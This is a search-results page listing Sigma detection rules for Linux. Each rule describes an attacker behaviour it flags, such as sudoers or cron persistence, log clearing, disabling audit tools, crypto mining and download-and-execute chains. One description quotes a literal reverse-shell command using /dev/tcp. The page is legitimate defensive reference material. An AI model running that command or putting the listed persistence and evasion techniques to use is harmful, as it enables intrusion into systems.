Sigma Rules
3,132 rules found for "sigma"
Disabling Security Tools - Builtin
Detects disabling security tools
Suspicious Named Error
Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts
Suspicious VSFTPD Error Messages
Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts
Linux Doas Conf File Creation
Detects the creation of doas.conf file in linux host platform.
Persistence Via Sudoers.d Files
Detects the creation or modification of files within the "sudoers.d" directory on Linux systems. Such activity may indicate an attempt to establish or maintain privilege escalation by granting specific users elevated permissions. Unauthorized changes to sudoers files are a common technique used by attackers to persist administrative access.
New Cron File Created
Detects the creation of cron files in Cron directories, which could indicate potential persistence mechanisms being established by an attacker. Note that not all cron file creations are malicious - legitimate system administration activities and software installations may also create cron files. This detection should be investigated in context, considering factors such as the user creating the file, the timing of creation, and the contents of the cron job. Focus investigation on unexpected cron files created by non-administrative users or during suspicious timeframes. Additionally, it is recommended to review the contents of the newly created cron files to assess their intent. Furthermore, it is suggested to baseline normal cron file creation and apply additional filters to reduce false positives based on the specific environment.
Suspicious Filename with Embedded Base64 Commands
Detects files with specially crafted filenames that embed Base64-encoded bash payloads designed to execute when processed by shell scripts. These filenames exploit shell interpretation quirks to trigger hidden commands, a technique observed in VShell malware campaigns.
Potentially Suspicious Shell Script Creation in Profile Folder
Detects the creation of shell scripts under the "profile.d" path.
Triple Cross eBPF Rootkit Default LockFile
Detects the creation of the file "rootlog" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.
Triple Cross eBPF Rootkit Default Persistence
Detects the creation of "ebpfbackdoor" files in both "cron.d" and "sudoers.d" directories. Which both are related to the TripleCross persistence method
Wget Creating Files in Tmp Directory
Detects the use of wget to download content in a temporary directory such as "/tmp" or "/var/tmp"
Linux Reverse Shell Indicator
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
Linux Crypto Mining Pool Connections
Detects process connections to a Monero crypto mining pool
Communication To LocaltoNet Tunneling Service Initiated - Linux
Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls.
Communication To Ngrok Tunneling Service - Linux
Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors
Potentially Suspicious Malware Callback Communication - Linux
Detects programs that connect to known malware callback ports based on threat intelligence reports.
Shell Invocation via Apt - Linux
Detects the use of the "apt" and "apt-get" commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.
Scheduled Task/Job At
Detects the use of at/atd which are utilities that are used to schedule tasks. They are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code
Audit Rules Deleted Via Auditctl
Detects the execution of 'auditctl' with the '-D' command line parameter, which deletes all configured audit rules and watches on Linux systems. This technique is commonly used by attackers to disable audit logging and cover their tracks by removing monitoring capabilities. Removal of audit rules can significantly impair detection of malicious activities on the affected system.
Kaspersky Endpoint Security Stopped Via CommandLine - Linux
Detects execution of the Kaspersky init.d stop script on Linux systems either directly or via systemctl. This activity may indicate a manual interruption of the antivirus service by an administrator, or it could be a sign of potential tampering or evasion attempts by malicious actors.
Suspicious Invocation of Shell via AWK - Linux
Detects the execution of "awk" or it's sibling commands, to invoke a shell using the system() function. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.
Decode Base64 Encoded Text
Detects usage of base64 utility to decode arbitrary base64-encoded text
Linux Base64 Encoded Pipe to Shell
Detects suspicious process command line that uses base64 encoded input for execution with a shell
Linux Base64 Encoded Shebang In CLI
Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded
Bash Interactive Shell
Detects execution of the bash shell with the interactive flag "-i".
BPFtrace Unsafe Option Usage
Detects the usage of the unsafe bpftrace option
Enable BPF Kprobes Tracing
Detects common command used to enable bpf kprobes tracing
Capabilities Discovery - Linux
Detects usage of "getcap" binary. This is often used during recon activity to determine potential binaries that can be abused as GTFOBins or other.
Capsh Shell Invocation - Linux
Detects the use of the "capsh" utility to invoke a shell.
Linux Setgid Capability Set on a Binary via Setcap Utility
Detects the use of the 'setcap' utility to set the 'setgid' capability (cap_setgid) on a binary file. This capability allows a non privileged process to make arbitrary manipulations of group IDs (GIDs), including setting its current GID to a value that would otherwise be restricted (i.e. GID 0, the root group). This behavior can be used by adversaries to backdoor a binary in order to escalate privileges again in the future if needed.
Linux Setuid Capability Set on a Binary via Setcap Utility
Detects the use of the 'setcap' utility to set the 'setuid' capability (cap_setuid) on a binary file. This capability allows a non privileged process to make arbitrary manipulations of user IDs (UIDs), including setting its current UID to a value that would otherwise be restricted (i.e. UID 0, the root user). This behavior can be used by adversaries to backdoor a binary in order to escalate privileges again in the future if needed.
Remove Immutable File Attribute
Detects usage of the 'chattr' utility to remove immutable file attribute.
Chmod Targeting Sensitive Directories
Detects chmod targeting files in sensitive directory paths on Linux systems. Attackers may use chmod to change permissions of files in these directories to maintain persistence, escalate privileges, or disrupt system operations.
Linux Sudo Chroot Execution
Detects the execution of 'sudo' command with '--chroot' option, which is used to change the root directory for command execution. Attackers may use this technique to evade detection and execute commands in a modified environment. This can be part of a privilege escalation strategy, as it allows the execution of commands with elevated privileges in a controlled environment as seen in CVE-2025-32463. While investigating, look out for unusual or unexpected use of 'sudo --chroot' in conjunction with other commands or scripts such as execution from temporary directories or unusual user accounts.
Linux Logs Clearing Attempts
Detects logs clearing attempts on Linux systems via utilities such as 'rm', 'rmdir', 'shred', and 'unlink' targeting log files and directories. Adversaries often try to clear logs to cover their tracks after performing malicious activities.
Syslog Clearing or Removal Via System Utilities
Detects specific commands commonly used to remove or empty the syslog. Which is a technique often used by attacker as a method to hide their tracks
Clipboard Collection with Xclip Tool
Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.
Copy Passwd Or Shadow From TMP Path
Detects when the file "passwd" or "shadow" is copied from tmp path
Crontab Enumeration
Detects usage of crontab to list the tasks of the user
Remove Scheduled Cron Task/Job
Detects usage of the 'crontab' utility to remove the current crontab. This is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible
Linux Crypto Mining Indicators
Detects command line parameters or strings often used by crypto miners
Curl Usage on Linux
Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server
Suspicious Download and Execute Pattern via Curl/Wget
Detects suspicious use of command-line tools such as curl or wget to download remote content - particularly scripts - into temporary directories (e.g., /dev/shm, /tmp), followed by immediate execution, indicating potential malicious activity. This pattern is commonly used by malicious scripts, stagers, or downloaders in fileless or multi-stage Linux attacks.
DD File Overwrite
Detects potential overwriting and deletion of a file using DD.
Potential Linux Process Code Injection Via DD Utility
Detects the injection of code by overwriting the memory map of a Linux process using the "dd" Linux command.
Ufw Force Stop Using Ufw-Init
Detects attempts to force stop the ufw using ufw-init
Linux Doas Tool Execution
Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.
Shell Invocation via Env Command - Linux
Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.